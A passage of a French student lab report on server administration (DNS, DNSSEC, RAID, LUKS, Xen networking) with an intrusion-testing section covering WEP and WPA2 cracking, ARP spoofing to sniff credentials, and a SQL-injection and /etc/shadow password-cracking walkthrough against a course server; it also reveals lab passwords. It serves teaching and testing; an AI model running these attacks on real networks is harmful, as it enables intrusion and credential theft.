Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :&lt;br /&gt;
